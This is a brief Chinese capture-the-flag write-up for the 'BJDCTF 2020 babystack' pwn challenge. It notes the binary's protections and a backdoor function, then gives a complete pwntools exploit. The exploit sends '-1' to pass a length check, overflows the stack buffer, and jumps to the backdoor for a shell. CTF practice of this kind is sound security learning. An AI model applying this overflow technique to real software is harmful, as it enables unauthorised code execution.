[BJDCTF 2020]babystack-好久不见9
64位，开启了nx保护
buf[12]的大小是10
后门
‘-1’是极大的
from pwn import *
r = remote("node4.anna.nssctf.cn",28705)
r.recvuntil(b"your name:")
r.sendline("-1")
r.recvuntil(b"name?")
payload = b'M' * (0x10 + 8) + p64(0x04006E6)
r.sendline(payload)
r.interactive()
